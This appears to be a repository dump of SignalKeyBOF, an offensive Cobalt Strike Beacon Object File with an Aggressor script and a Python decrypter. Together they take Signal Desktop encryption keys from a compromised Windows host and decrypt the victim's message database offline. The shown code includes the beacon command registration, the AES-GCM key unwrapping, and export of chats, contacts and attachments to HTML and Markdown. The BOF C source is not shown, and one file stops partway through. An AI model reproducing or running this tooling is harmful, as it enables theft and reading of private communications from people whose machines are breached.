├── helpers ├── __init__.py ├── logging.py ├── templates.py ├── style.css ├── utils.py ├── data.py ├── merge.py ├── create.py ├── html.py ├── models.py └── files.py ├── Example.png ├── SignalKey.x64.o ├── SignalKey.x86.o ├── Makefile ├── SignalKeyBOF.cna ├── README.md ├── beacon_user_data.h ├── SignalKeyBOF.sln ├── signal_decrypter.py ├── beacon.h ├── LICENSE └── bof.c /helpers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xRedpoll/SignalKeyBOF/HEAD/Example.png -------------------------------------------------------------------------------- /SignalKey.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xRedpoll/SignalKeyBOF/HEAD/SignalKey.x64.o -------------------------------------------------------------------------------- /SignalKey.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xRedpoll/SignalKeyBOF/HEAD/SignalKey.x86.o -------------------------------------------------------------------------------- /helpers/logging.py: -------------------------------------------------------------------------------- 1 | from typer import colors, secho 2 | 3 | verbose = False 4 | 5 | 6 | def log(msg: str, fg: str = colors.BLACK) -> None: 7 | if verbose: 8 | secho(msg, fg=fg) -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := SignalKey 2 | COMINCLUDE := 3 | LIBINCLUDE := -l shlwapi -l crypt32 -l iostream 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC := x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c bof.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c bof.c -DBOF 11 | 12 | test: 13 | $(CC_x64) bof.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 14 | $(CC_x86) bof.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 15 | 16 | scanbuild: 17 | $(CC) bof.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 18 | 19 | check: 20 | cppcheck --enable=all --suppress=missingIncludeSystem --suppress=unusedFunction $(COMINCLUDE) --platform=win64 bof.c 21 | 22 | clean: 23 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /SignalKeyBOF.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "SignalKeyBOF", 3 | "Used to retrieve the victim's Signal keys to decrypt the message DB offline", 4 | "\n\nUsage:\n\n" . 5 | "SignalKeyBOF\n\n" . 6 | "Examples:\n" . 7 | ' SignalKeyBOF' . 8 | "\n\nMade by - 0xRedpoll\n\n" 9 | 10 | ); 11 | 12 | alias SignalKeyBOF { 13 | local('$bid $barch $handle $data $args'); 14 | $bid = $1; 15 | $barch = barch($bid); 16 | $handle = openf(script_resource("SignalKey. $+ $barch $+ .o")); 17 | $data = readb($handle,-1); 18 | if(strlen($data) == 0) 19 | { 20 | berror($1, "*ERROR* Failed to read in BOF file: $bof_filename"); 21 | } 22 | closef($handle); 23 | btask($bid, "Running SignalKeyBOF - Made by 0xRedpoll"); 24 | 25 | beacon_inline_execute($bid,$data,"go"); 26 | 27 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SignalKeyBOF 2 | 3 | A Cobalt Strike BOF and Python helper script to retrieve the decryption keys for the compromised hosts Signal Desktop database. 4 | 5 | > [!WARNING] 6 | > Only works on Windows hosts with Signal Desktop installed and used. 7 | 8 | ## Requirements 9 | - A Cobalt Strike beacon on a compromised host 10 | - Python packages (which I haven't kept track of, requirements.txt to come) 11 | 12 | ## Build Info 13 | 14 | ```make all``` 15 | 16 | ## Usage 17 | SignalKeyBOF 18 | 19 | ![Example execution](Example.png) 20 | 21 | ## Acknowledgements 22 | - TrustedSec's [CS-Remote-OPs-BOFs](https://github.com/trustedsec/CS-Remote-OPs-BOF/tree/main) for their Slack Key BOF which this is heavily inspired by. 23 | - Carderne's [Signal-Export](https://github.com/carderne/signal-export/tree/main) tool which the helper script is heavily inspired by. 24 | 25 | ## License 26 | 27 | [//]: # (If you change the License type, be sure to change the actual LICENSE file as well) 28 | GPLv3 29 | 30 | ## Author Information 31 | 32 | This tool was created by [0xRedpoll](https://github.com/0xRedpoll). 33 | -------------------------------------------------------------------------------- /helpers/templates.py: -------------------------------------------------------------------------------- 1 | """HTML templates.""" 2 | 3 | html = """ 4 | 5 | 6 | 7 | 8 | {name} 9 | 10 | 11 | 12 |
13 | FIRST 14 |
15 |
16 | LAST 17 |
18 | {content} 19 | 20 | 21 | 22 | """ 23 | 24 | message = """ 25 |
26 | {date} 27 | {time} 28 | {sender} 29 | {quote} 30 | {body} 31 | {reactions} 32 |
33 | """ 34 | 35 | audio = """ 36 | 39 | """ 40 | 41 | figure = """ 42 |
43 | 46 | 47 | 54 |
55 | """ 56 | 57 | video = """ 58 | 62 | """ -------------------------------------------------------------------------------- /beacon_user_data.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon User Data (BUD) 3 | * ------------------------- 4 | * Beacon User Data is a data structure that holds values which can be 5 | * passed from a User Defined Reflective Loader to Beacon. 6 | * 7 | * Cobalt Strike 4.x 8 | * ChangeLog: 9 | * 5/9/2023: initial version for 4.9 10 | */ 11 | #ifndef _BEACON_USER_DATA_H 12 | #define _BEACON_USER_DATA_H 13 | 14 | #include 15 | 16 | #define DLL_BEACON_USER_DATA 0x0d 17 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 18 | 19 | /* Syscalls API */ 20 | typedef struct 21 | { 22 | PVOID fnAddr; 23 | PVOID jmpAddr; 24 | DWORD sysnum; 25 | } SYSCALL_API_ENTRY; 26 | 27 | typedef struct 28 | { 29 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 30 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 31 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 32 | SYSCALL_API_ENTRY ntGetContextThread; 33 | SYSCALL_API_ENTRY ntSetContextThread; 34 | SYSCALL_API_ENTRY ntResumeThread; 35 | SYSCALL_API_ENTRY ntCreateThreadEx; 36 | SYSCALL_API_ENTRY ntOpenProcess; 37 | SYSCALL_API_ENTRY ntOpenThread; 38 | SYSCALL_API_ENTRY ntClose; 39 | SYSCALL_API_ENTRY ntCreateSection; 40 | SYSCALL_API_ENTRY ntMapViewOfSection; 41 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 42 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 43 | SYSCALL_API_ENTRY ntDuplicateObject; 44 | SYSCALL_API_ENTRY ntReadVirtualMemory; 45 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 46 | } SYSCALL_API; 47 | 48 | /* Beacon User Data 49 | * 50 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 51 | * e.g. 0x040900 -> CS 4.9 52 | */ 53 | typedef struct 54 | { 55 | unsigned int version; 56 | SYSCALL_API* syscalls; 57 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 58 | } USER_DATA, *PUSER_DATA; 59 | 60 | #endif 61 | -------------------------------------------------------------------------------- /SignalKeyBOF.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35707.178 d17.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SignalKeyBOF", "SignalKeyBOF.vcxproj", "{807F2129-04B9-477A-8F4C-ECD8FDFD7A90}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | UnitTest|x64 = UnitTest|x64 15 | UnitTest|x86 = UnitTest|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Debug|x64.ActiveCfg = Debug|x64 19 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Debug|x64.Build.0 = Debug|x64 20 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Debug|x86.ActiveCfg = Debug|Win32 21 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Debug|x86.Build.0 = Debug|Win32 22 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Release|x64.ActiveCfg = Release|x64 23 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Release|x64.Build.0 = Release|x64 24 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Release|x86.ActiveCfg = Release|Win32 25 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.Release|x86.Build.0 = Release|Win32 26 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.UnitTest|x64.ActiveCfg = UnitTest|x64 27 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.UnitTest|x64.Build.0 = UnitTest|x64 28 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.UnitTest|x86.ActiveCfg = UnitTest|Win32 29 | {807F2129-04B9-477A-8F4C-ECD8FDFD7A90}.UnitTest|x86.Build.0 = UnitTest|Win32 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | EndGlobal 35 | -------------------------------------------------------------------------------- /helpers/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | box-sizing: border-box; 3 | } 4 | 5 | html { 6 | background-color: #F6F6F6; 7 | } 8 | 9 | body { 10 | color: rgb(73, 78, 82); 11 | font-family: Carlito, Calibri, sans-serif; 12 | line-height: 1.5; 13 | margin: 0; 14 | } 15 | 16 | .first, .last, .next, .prev { 17 | position: fixed; 18 | left: 0; 19 | font-size: 3em; 20 | margin: 20px; 21 | } 22 | 23 | .first { 24 | top: 0; 25 | } 26 | 27 | .prev { 28 | top: 20%; 29 | } 30 | 31 | .next { 32 | bottom: 20%; 33 | } 34 | 35 | .last { 36 | bottom: 0; 37 | } 38 | 39 | .page { 40 | display: none; 41 | padding: 20px; 42 | } 43 | 44 | .page:target { 45 | display: block; 46 | } 47 | 48 | .msg { 49 | width: 70ch; 50 | border-radius: 5px; 51 | padding: 0.8rem 0.8rem 2rem 0.8rem; 52 | margin-left: 150px; 53 | background-color: #cecace; 54 | } 55 | 56 | .msg.me { 57 | margin-left: 450px; 58 | background-color: #bfd9d7; 59 | } 60 | 61 | a { 62 | color: rgb(52, 105, 160); 63 | text-decoration: none; 64 | } 65 | 66 | a:hover { 67 | text-decoration: underline; 68 | } 69 | 70 | div { 71 | margin-bottom: 2em; 72 | } 73 | 74 | .date, .time { 75 | float: right; 76 | } 77 | 78 | .time { 79 | clear: right; 80 | } 81 | 82 | .sender { 83 | font-weight: bold; 84 | } 85 | 86 | .body { 87 | display: block; 88 | margin-left: 3em; 89 | word-wrap: break-word; 90 | } 91 | 92 | figure > label > img, video { 93 | display: block; 94 | width: 300px; 95 | } 96 | 97 | label > img { 98 | cursor: pointer; 99 | } 100 | 101 | .modal { 102 | opacity: 0; 103 | visibility: hidden; 104 | position: fixed; 105 | top: 0; 106 | right: 0; 107 | bottom: 0; 108 | left: 0; 109 | text-align: left; 110 | background: rgba(0, 0, 0, 0.8); 111 | transition: opacity .25s ease; 112 | z-index: 99; 113 | } 114 | 115 | .modal-content { 116 | width: 100vw; 117 | height: 100vh; 118 | } 119 | 120 | .modal-photo { 121 | width: 70%; 122 | max-height: 80%; 123 | position: absolute; 124 | left: 50%; 125 | top: 10%; 126 | margin-left: -35%; 127 | object-fit: scale-down; 128 | } 129 | 130 | .modal-state { 131 | display: none; 132 | } 133 | 134 | .modal-state:checked + .modal { 135 | opacity: 1; 136 | visibility: visible; 137 | } 138 | 139 | .reaction { 140 | float: right; 141 | } 142 | 143 | .quote { 144 | margin: .5rem 0 1rem 1rem; 145 | background-color: #f7f6ff; 146 | width: 50%; 147 | padding: 1rem; 148 | } -------------------------------------------------------------------------------- /helpers/utils.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from typing import Any, TypedDict, Union, cast 3 | import emoji 4 | from typing_extensions import TypeGuard 5 | from helpers import models 6 | 7 | class Timestamp64(TypedDict): 8 | high: int 9 | low: int 10 | 11 | 12 | def dt_from_ts(ts: Union[float, dict[str, Any]]) -> datetime: 13 | if isinstance(ts, dict) and is_timestamp64(ts): 14 | val = _combine_timestamp(ts) 15 | return datetime.fromtimestamp(val / 1000.0) 16 | elif isinstance(ts, (int, float)): 17 | return datetime.fromtimestamp(ts / 1000.0) 18 | else: 19 | raise ValueError(f"Invalid timestamp: {ts}") 20 | 21 | 22 | def is_timestamp64(ts: dict[str, Any]) -> TypeGuard[Timestamp64]: 23 | return ( 24 | "high" in ts 25 | and "low" in ts 26 | and isinstance(ts["high"], int) 27 | and isinstance(ts["low"], int) 28 | ) 29 | 30 | 31 | def _combine_timestamp(ts: Timestamp64) -> int: 32 | high = ts["high"] 33 | low = ts["low"] if ts["low"] >= 0 else (ts["low"] + 2**32) 34 | return (high << 32) | low 35 | 36 | 37 | def parse_datetime(input_str: str) -> datetime: 38 | last_exception = None 39 | for fmt in [ 40 | "%Y-%m-%d %H:%M", 41 | "%Y-%m-%d, %H:%M", 42 | "%Y-%m-%d %H:%M:%S", 43 | "%Y-%m-%d, %H:%M:%S", 44 | ]: 45 | try: 46 | return datetime.strptime(input_str, fmt) 47 | except ValueError as e: 48 | last_exception = e 49 | exception = cast(ValueError, last_exception) 50 | raise (exception) 51 | 52 | 53 | 54 | def fix_names(contacts: models.Contacts) -> models.Contacts: 55 | """Convert contact names to filesystem-friendly.""" 56 | fixed_contact_names = set() 57 | for key, item in contacts.items(): 58 | contact_name = item.number if item.name is None else item.name 59 | if contacts[key].name is not None: 60 | contacts[key].name = "".join( 61 | x for x in emoji.demojize(contact_name) if x.isalnum() 62 | ) 63 | if contacts[key].name == "": 64 | contacts[key].name = "unnamed" 65 | fixed_contact_name = contacts[key].name 66 | if fixed_contact_name in fixed_contact_names: 67 | name_differentiating_number = 2 68 | while ( 69 | fixed_contact_name + str(name_differentiating_number) 70 | ) in fixed_contact_names: 71 | name_differentiating_number += 1 72 | fixed_contact_name += str(name_differentiating_number) 73 | contacts[key].name = fixed_contact_name 74 | fixed_contact_names.add(fixed_contact_name) 75 | 76 | return contacts -------------------------------------------------------------------------------- /helpers/data.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | from typing import Optional 4 | 5 | from sqlcipher3 import dbapi2 6 | from typer import Exit, colors, secho 7 | 8 | from helpers import models 9 | from helpers.logging import log 10 | 11 | def fetch_data(key:str, db_file: str, chats: str, include_empty: bool,): 12 | 13 | contacts: models.Contacts = {} 14 | convos: models.Convos = {} 15 | chats_list = chats.split(",") if len(chats) > 0 else [] 16 | 17 | db = dbapi2.connect(str(db_file)) 18 | c = db.cursor() 19 | # param binding doesn't work for pragmas, so use a direct string concat 20 | c.execute(f"PRAGMA KEY = \"x'{key}'\"") 21 | c.execute("PRAGMA cipher_page_size = 4096") 22 | c.execute("PRAGMA kdf_iter = 64000") 23 | c.execute("PRAGMA cipher_hmac_algorithm = HMAC_SHA512") 24 | c.execute("PRAGMA cipher_kdf_algorithm = PBKDF2_HMAC_SHA512") 25 | 26 | query = "SELECT type, id, serviceId, e164, name, profileName, members FROM conversations" 27 | c.execute(query) 28 | for result in c: 29 | log(f"\tLoading SQL results for: {result[4]}, aka {result[5]}") 30 | members = [] 31 | if result[6]: 32 | members = result[6].split(" ") 33 | is_group = result[0] == "group" 34 | cid = result[1] 35 | contacts[cid] = models.Contact( 36 | id=cid, 37 | serviceId=result[2], 38 | name=result[4], 39 | number=result[3], 40 | profile_name=result[5], 41 | members=members, 42 | is_group=is_group, 43 | ) 44 | if contacts[cid].name is None: 45 | contacts[cid].name = contacts[cid].profile_name 46 | 47 | if not chats or (result[4] in chats_list or result[5] in chats_list): 48 | convos[cid] = [] 49 | 50 | query = "SELECT * FROM messages ORDER BY sent_at" 51 | c.execute(query) 52 | for result in c: 53 | json_result = json.loads(result[2]) 54 | if result[14] in ["keychange", "profile-change"]: 55 | continue 56 | con = models.RawMessage( 57 | conversation_id=result[7], 58 | id=result[1], 59 | type=result[14], 60 | body=result[15], 61 | contact=json_result.get("contact"), 62 | source=json_result.get("sourceServiceId"), 63 | timestamp=result[39], 64 | sent_at=result[5], 65 | server_timestamp=result[42], 66 | has_attachments=result[9], 67 | attachments=json_result.get("attachments", []), 68 | read_status=result[3], 69 | seen_status=result[28], 70 | call_history=json_result.get("call_history"), 71 | reactions=json_result.get("reactions", []), 72 | sticker=json_result.get("sticker"), 73 | quote=json_result.get("quote"), 74 | ) 75 | convos[result[7]].append(con) 76 | if not include_empty: 77 | convos = {key: val for key, val in convos.items() if len(val) > 0} 78 | 79 | return convos,contacts -------------------------------------------------------------------------------- /helpers/merge.py: -------------------------------------------------------------------------------- 1 | import re 2 | import shutil 3 | from pathlib import Path 4 | 5 | from helpers import files, models, utils 6 | from helpers.logging import log 7 | 8 | 9 | def lines_to_msgs(lines: list[str]) -> list[models.MergeMessage]: 10 | """Extract messages from lines of Markdown.""" 11 | p = re.compile(r"^\[(\d{4}-\d{2}-\d{2},? \d{2}:\d{2}(?::\d{2})?)] (.*?): ?(.*\n)") 12 | msgs: list[models.MergeMessage] = [] 13 | for li in lines: 14 | m = p.match(li) 15 | if m: 16 | date_str, sender, body = m.groups() 17 | date = utils.parse_datetime(date_str) 18 | msg = models.MergeMessage(date=date, sender=sender, body=body) 19 | msgs.append(msg) 20 | else: 21 | msgs[-1].body += li 22 | return msgs 23 | 24 | 25 | def merge_chat(new: list[models.Message], path_old: Path) -> list[models.Message]: 26 | """Merge new and old chat markdowns.""" 27 | with path_old.open(encoding="utf-8") as f: 28 | old_raw = f.readlines() 29 | 30 | old = lines_to_msgs(old_raw) 31 | old_msgs = [o.to_message() for o in old] 32 | 33 | try: 34 | a = old_raw[0][:30] 35 | b = old_raw[-1][:30] 36 | c = new[0].to_md()[:30] 37 | d = new[-1].to_md()[:30] 38 | log(f"\t\tFirst line old:\t{a}") 39 | log(f"\t\tLast line old:\t{b}") 40 | log(f"\t\tFirst line new:\t{c}") 41 | log(f"\t\tLast line new:\t{d}") 42 | except IndexError: 43 | log("\t\tNo new messages for this conversation") 44 | 45 | # get rid of duplicates 46 | msg_dict = {m.comp(): m for m in old_msgs + new} 47 | merged = list(msg_dict.values()) 48 | 49 | def get_date(val: any): 50 | return val.date 51 | 52 | merged.sort(key=get_date) 53 | 54 | return merged 55 | 56 | 57 | def merge_with_old( 58 | chat_dict: models.Chats, contacts: models.Contacts, dest: Path, old: Path 59 | ) -> models.Chats: 60 | """Main function for merging new and old.""" 61 | new_chat_dict: models.Chats = {} 62 | for key, msgs in chat_dict.items(): 63 | name = contacts[key].name 64 | # some contact names are None 65 | if not name: 66 | name = "None" 67 | dir_old = old / name 68 | if dir_old.is_dir(): 69 | log(f"\tMerging {name}") 70 | dir_new = dest / name 71 | if dir_new.is_dir(): 72 | files.merge_attachments(dir_new / "media", dir_old / "media") 73 | try: 74 | path_old = dir_old / "chat.md" 75 | msgs_new = merge_chat(msgs, path_old) 76 | new_chat_dict[key] = msgs_new 77 | except FileNotFoundError: 78 | try: 79 | path_old = dir_old / "index.md" # old name 80 | msgs_new = merge_chat(msgs, path_old) 81 | new_chat_dict[key] = msgs_new 82 | except FileNotFoundError: 83 | log(f"\tNo old for {name}") 84 | else: 85 | shutil.copytree(dir_old, dir_new) 86 | return new_chat_dict -------------------------------------------------------------------------------- /signal_decrypter.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | from Crypto.Cipher import AES 4 | from sqlcipher3 import dbapi2 5 | import json 6 | from pathlib import Path 7 | from typing import Optional 8 | 9 | from typer import Exit, colors, secho 10 | 11 | from helpers import create, data, files, html, logging, merge, utils 12 | 13 | parser = argparse.ArgumentParser( 14 | prog='SignalDBDecrypter', 15 | description='Decrypt Signal Chat and Attachments', 16 | epilog='Made by 0xRedpoll') 17 | 18 | parser.add_argument("-d", "--db", help="DB file, you'll have to download this yourself from %APPDATA%\\Signal\\sql\\db.sqlite", required=True, dest="db") 19 | parser.add_argument("-ck", "--config-key", help="Config key returned from the BOF. Hint: It is the longer string", required=True, dest="ck") 20 | parser.add_argument("-dk", "--decryption-key", help="Base64 encoded decryption key from the BOF. Hint: It is the shorter string", required=True, dest="dk") 21 | parser.add_argument("-a", "--attachment-folder", help="Pointing to folder containing attachments. Hint: Download folder at %APPDATA%\\Signal\\attachments.noindex", required=True, dest="a") 22 | parser.add_argument("-dest", "--destination-folder", help="Name of output folder", required=True, dest="destination") 23 | 24 | args = parser.parse_args() 25 | 26 | def get_key(): 27 | config_key = args.ck 28 | decryption_key = args.dk 29 | 30 | decryption_key_hex = base64.b64decode(decryption_key) 31 | 32 | configKey_struct = memoryview(bytearray.fromhex(config_key)) 33 | key = AES.new(decryption_key_hex, AES.MODE_GCM, nonce=configKey_struct[3:15]).decrypt_and_verify(configKey_struct[15:79], configKey_struct[79:]) 34 | return key.decode("ascii") 35 | 36 | 37 | def main(): 38 | dest = args.destination 39 | key = get_key() 40 | print(key) 41 | db_file = args.db 42 | 43 | convos, contacts = data.fetch_data(key=key,db_file=db_file, 44 | chats="", 45 | include_empty=True, 46 | ) 47 | 48 | names = sorted(v.name for v in contacts.values() if v.name is not None) 49 | secho(" | ".join(names)) 50 | 51 | dest = Path(dest).expanduser() 52 | if not dest.is_dir(): 53 | dest.mkdir(parents=True, exist_ok=True) 54 | 55 | contacts = utils.fix_names(contacts) 56 | 57 | secho("Copying and renaming attachments") 58 | files.copy_attachments(args.a, dest, convos, contacts) 59 | 60 | secho("Creating output files") 61 | chat_dict = create.create_chats(convos, contacts) 62 | 63 | chat_log_file = dest / "all_chat_logs.txt" 64 | contact_list_file = dest / "contacts.txt" 65 | 66 | chat_log_file_f = chat_log_file.open("w", encoding="utf-8") 67 | contact_list_file_f = contact_list_file.open("w", encoding="utf-8") 68 | 69 | print(names, file=contact_list_file_f) 70 | 71 | html.prep_html(dest) 72 | for key, messages in chat_dict.items(): 73 | if messages == []: 74 | continue 75 | name = contacts[key].name 76 | # some contact names are None 77 | if not name: 78 | name = "None" 79 | 80 | md_path = dest / name / "chat.md" 81 | js_path = dest / name / "data.json" 82 | 83 | md_f = md_path.open("a", encoding="utf-8") 84 | js_f = js_path.open("a", encoding="utf-8") 85 | try: 86 | for msg in messages: 87 | print(msg.to_md(), file=chat_log_file_f) 88 | print(msg.to_md(), file=md_f) 89 | print(msg.dict_str(), file=js_f) 90 | finally: 91 | md_f.close() 92 | js_f.close() 93 | secho("Done!", fg=colors.GREEN) 94 | 95 | main() 96 | -------------------------------------------------------------------------------- /helpers/create.py: -------------------------------------------------------------------------------- 1 | import re 2 | from pathlib import Path 3 | 4 | from helpers import models, utils 5 | from helpers.logging import log 6 | 7 | 8 | def create_message( 9 | msg: models.RawMessage, 10 | name: str, # only used for debug logging 11 | is_group: bool, 12 | contacts: models.Contacts, 13 | ) -> models.Message: 14 | ts = msg.get_ts() 15 | date = utils.dt_from_ts(ts) 16 | if ts == 0: 17 | log("\t\tNo timestamp or sent_at; date set to 1970") 18 | log(f"\t\tDoing {name}, msg: {date}") 19 | 20 | if msg.type == "call-history": 21 | body = ( 22 | "Incoming call" 23 | if msg.call_history and msg.call_history["wasIncoming"] 24 | else "Outgoing call" 25 | ) 26 | else: 27 | body = msg.body or "" 28 | 29 | body = body.replace("`", "") # stop md code sections forming 30 | body += " " # so that markdown newlines 31 | 32 | sender = "No-Sender" 33 | if msg.type == "outgoing": 34 | sender = "Me" 35 | else: 36 | try: 37 | if is_group: 38 | for c in contacts.values(): 39 | serviceId = c.serviceId 40 | if serviceId is not None and serviceId == msg.source: 41 | sender = c.name 42 | else: 43 | sender = contacts[msg.conversation_id].name 44 | except KeyError: 45 | log(f"\t\tNo sender:\t\t{date}") 46 | 47 | attachments: list[models.Attachment] = [] 48 | for att in msg.attachments: 49 | file_name = att["fileName"] 50 | path = Path("media") / file_name 51 | path = Path(re.sub(r"\s", "%20", str(path))) 52 | attachments.append(models.Attachment(name=file_name, path=str(path))) 53 | 54 | reactions: list[models.Reaction] = [] 55 | if msg.reactions: 56 | for r in msg.reactions: 57 | try: 58 | reactions.append( 59 | models.Reaction(contacts[r["fromId"]].name, r["emoji"]) 60 | ) 61 | except KeyError: 62 | log( 63 | f"\t\tReaction fromId not found in contacts: " 64 | f"[{date}] {sender}: {r}" 65 | ) 66 | 67 | sticker = "" 68 | if msg.sticker: 69 | try: 70 | sticker = msg.sticker["data"]["emoji"] 71 | except KeyError: 72 | pass 73 | 74 | quote = "" 75 | if msg.quote: 76 | try: 77 | quote = msg.quote["text"].rstrip("\n") 78 | quote = quote.replace("\n", "\n> ") 79 | quote = f"\n\n> {quote}\n\n" 80 | except (AttributeError, KeyError, TypeError): 81 | pass 82 | 83 | return models.Message( 84 | date=date, 85 | sender=sender, 86 | body=body, 87 | quote=quote, 88 | sticker=sticker, 89 | reactions=reactions, 90 | attachments=attachments, 91 | ) 92 | 93 | 94 | def create_chats( 95 | convos: models.Convos, 96 | contacts: models.Contacts, 97 | ) -> models.Chats: 98 | """Convert convos and contacts into messages""" 99 | res: models.Chats = {} 100 | for key, raw_messages in convos.items(): 101 | name = contacts[key].name 102 | log(f"\tDoing markdown for: {name}") 103 | is_group = contacts[key].is_group 104 | # some contact names are None 105 | if not name: 106 | name = "None" 107 | 108 | res[key] = [ 109 | create_message(raw, name, is_group, contacts) for raw in raw_messages 110 | ] 111 | 112 | return res 113 | -------------------------------------------------------------------------------- /helpers/html.py: -------------------------------------------------------------------------------- 1 | from os import path 2 | import re 3 | from shutil import copy2 4 | from pathlib import Path 5 | 6 | from markdown import Markdown 7 | from bs4 import BeautifulSoup 8 | from typer import secho 9 | 10 | from helpers import models, templates 11 | from helpers.logging import log 12 | 13 | 14 | def prep_html(dest: Path) -> None: 15 | """Prepare CSS etc""" 16 | root = Path(__file__).resolve().parents[0] 17 | css_source = root / "style.css" 18 | css_dest = dest / "style.css" 19 | if path.isfile(css_source): 20 | copy2(css_source, css_dest) 21 | else: 22 | secho( 23 | f"Stylesheet ({css_source}) not found." 24 | f"You might want to install one manually at {css_dest}." 25 | ) 26 | 27 | 28 | def create_html( 29 | name: str, messages: list[models.Message], msgs_per_page: int = 100 30 | ) -> str: 31 | """Create HTML version from Markdown input.""" 32 | 33 | log(f"\tDoing html for {name}") 34 | # touch first 35 | ht_content = "" 36 | last_page = int(len(messages) / msgs_per_page) 37 | 38 | page_num = 0 39 | for i, msg in enumerate(messages): 40 | if i % msgs_per_page == 0: 41 | nav = "\n" 42 | if i > 0: 43 | nav += "" 44 | nav += f"
" 45 | nav += "\n" 57 | ht_content += nav 58 | page_num += 1 59 | 60 | sender = msg.sender 61 | date = msg.date.date().isoformat() 62 | time = msg.date.time().replace(microsecond=0).isoformat() 63 | 64 | reactions = " ".join(f"{r.name}: {r.emoji}" for r in msg.reactions) 65 | quote = "" 66 | if msg.quote: 67 | quote = f"
{msg.quote.replace('>', '')}
" 68 | 69 | body = msg.body 70 | try: 71 | body = Markdown().convert(body) 72 | except RecursionError: 73 | log(f"Maximum recursion on message {body}, not converted") 74 | 75 | # links 76 | p = re.compile(r"(https{0,1}://\S*)") 77 | a_template = r"\1 " 78 | body = re.sub(p, a_template, body) 79 | 80 | soup = BeautifulSoup(body, "html.parser") 81 | # attachments 82 | for att in msg.attachments: 83 | path = att.path 84 | src = f"./{path}" 85 | if models.is_image(path): 86 | temp = templates.figure.format(src=src, alt=att.name) 87 | elif models.is_audio(path): 88 | temp = templates.audio.format(src=src) 89 | elif models.is_video(path): 90 | temp = templates.video.format(src=src) 91 | else: 92 | temp = None 93 | if temp: 94 | soup.append(BeautifulSoup(temp, "html.parser")) 95 | 96 | cl = "msg me" if sender == "Me" else "msg" 97 | ht_content += templates.message.format( 98 | cl=cl, 99 | date=date, 100 | time=time, 101 | sender=sender, 102 | quote=quote, 103 | body=soup, 104 | reactions=reactions, 105 | ) 106 | ht_text = templates.html.format( 107 | name=name, 108 | last_page=last_page, 109 | content=ht_content, 110 | ) 111 | ht_text = BeautifulSoup(ht_text, "html.parser").prettify() 112 | ht_text = re.compile(r"^(\s*)", re.MULTILINE).sub(r"\1\1\1\1", ht_text) 113 | return ht_text -------------------------------------------------------------------------------- /helpers/models.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | import json 4 | import re 5 | from collections import namedtuple 6 | from dataclasses import asdict, dataclass 7 | from datetime import datetime 8 | from typing import Any 9 | 10 | 11 | @dataclass 12 | class RawMessage: 13 | conversation_id: str 14 | id: str 15 | 16 | body: str 17 | type: str | None 18 | contact: str | None 19 | source: Any | None 20 | 21 | timestamp: int | None 22 | sent_at: int | None 23 | server_timestamp: int | None 24 | 25 | has_attachments: bool 26 | attachments: list[dict[str, str]] 27 | 28 | read_status: bool | None 29 | seen_status: bool | None 30 | 31 | call_history: dict[str, Any] | None 32 | reactions: list[dict[str, Any]] 33 | sticker: dict[str, Any] | None 34 | quote: dict[str, Any] | None 35 | 36 | def get_ts(self: RawMessage) -> int: 37 | if self.sent_at and self.server_timestamp: 38 | if self.server_timestamp < self.sent_at: 39 | return self.server_timestamp 40 | else: 41 | return self.sent_at 42 | elif self.sent_at: 43 | return self.sent_at 44 | elif self.timestamp: 45 | return 